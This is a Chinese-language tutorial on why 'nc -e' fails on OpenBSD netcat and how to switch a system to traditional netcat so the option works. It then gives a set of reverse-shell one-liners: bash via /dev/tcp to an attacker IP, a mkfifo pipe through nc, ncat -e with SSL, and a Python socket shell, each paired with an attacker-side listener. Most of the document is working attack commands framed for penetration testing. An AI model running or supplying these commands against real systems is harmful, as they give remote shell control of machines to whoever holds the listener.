在滲透測試或應急響應中,使用 nc -e /bin/bash 反彈 Shell 時常遇到 nc: invalid option — 'e' 錯誤。根因是系統安裝的是 **OpenBSD 版 netcat (nc.openbsd)**,而非支援 -e 選項的 **傳統版 netcat (nc.traditional)**。本文詳解兩者差異、檢測方法、永久修復方案及替代反彈技術。
| 特性 | OpenBSD netcat (nc.openbsd) | 傳統版 netcat (nc.traditional) |
|---|---|---|
| 套件名 | netcat-openbsd | netcat-traditional |
支援 -e 選項 | 不支援 (安全考量移除) | 支援 (執行程序並綁定 stdin/stdout) |
支援 -c 選項 | 不支援 | 支援 (執行 shell 命令字符串) |
| 默認安裝 | Debian/Ubuntu/Kali 默認 | CentOS/RHEL/Fedora 默認 |
| 二進制路徑 | /bin/nc.openbsd | /bin/nc.traditional |
| 符號鏈接 | /etc/alternatives/nc → /bin/nc.openbsd | /etc/alternatives/nc → /bin/nc.traditional |
# 1. 查看符號鏈接鏈路
ls -l /bin/nc
# lrwxrwxrwx 1 root root 20 Oct 24 2012 /bin/nc -> /etc/alternatives/nc
ls -l /etc/alternatives/nc
# lrwxrwxrwx 1 root root 19 Feb 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional
# 2. 直接測試 -e 選項
/bin/nc.openbsd -l -p 9999 -e /bin/bash
# /bin/nc.openbsd: invalid option -- 'e'
/bin/nc.traditional -l -p 9999 -e /bin/bash
# (阻塞等待連接, 正常工作)
# 1. 移除當前鏈接
sudo rm /etc/alternatives/nc
# 2. 指向傳統版
sudo ln -s /bin/nc.traditional /etc/alternatives/nc
# 3. 驗證
nc -h 2>&1 | head -5
# 应显示传统版帮助信息, 包含 -e 选项
# 4. 測試反彈
nc -l -p 12345 -e /bin/bash # 監聽端
# 攻擊機: nc -v 目標IP 12345 # 獲得 Shell
原理:Debian 系使用 update-alternatives 管理同功能軟件的多版本。手動修改 /etc/alternatives/nc 指向 nc.traditional 即可全局生效。
# Debian/Ubuntu/Kali
sudo apt update && sudo apt install netcat-traditional
# 安裝後自動更新 alternatives, nc 指向 traditional 版
# CentOS/RHEL/Fedora (默認已裝 traditional)
# 若誤裝 openbsd 版
sudo yum remove nc && sudo yum install nmap-ncat # nmap-ncat 提供 ncat, 功能更強
# 或編譯安裝 netcat-traditional 源碼
由於 -e 存在版本依賴且被視為安全風險 (易被濫用),實戰中推薦使用 **管道/重定向 + 命名管道** 技術,兼容所有 netcat 版本甚至無 netcat 環境:
# 目標機 (被控端)
bash -i >& /dev/tcp/攻擊機IP/端口 0>&1
# 攻擊機 (控制端)
nc -lvp 端口
# 目標機
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 攻擊機IP 端口 > /tmp/f
# 攻擊機
nc -lvp 端口
# 目標機 (ncat 支援 -e 且支援 SSL、代理)
ncat -lvp 端口 -e /bin/bash --allow 10.0.0.0/8 --ssl
# 攻擊機
ncat -v 目標IP 端口 --ssl
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Perl, PHP, Ruby, Lua, Go 等均有類似一句法
invalid option — 'e' 表明當前 nc 為 OpenBSD 版,需切換至 nc.traditional 或安裝 netcat-traditional。update-alternatives (或手動修改 /etc/alternatives/nc) 實現永久切換。nc -e,採用 bash -i >& /dev/tcp/... 或 ncat,兼容性更強、功能更豐富 (SSL、代理、IP 白名單)。掌握 netcat 版本差異與多種反彈技術,是滲透測試與應急響應的基本功。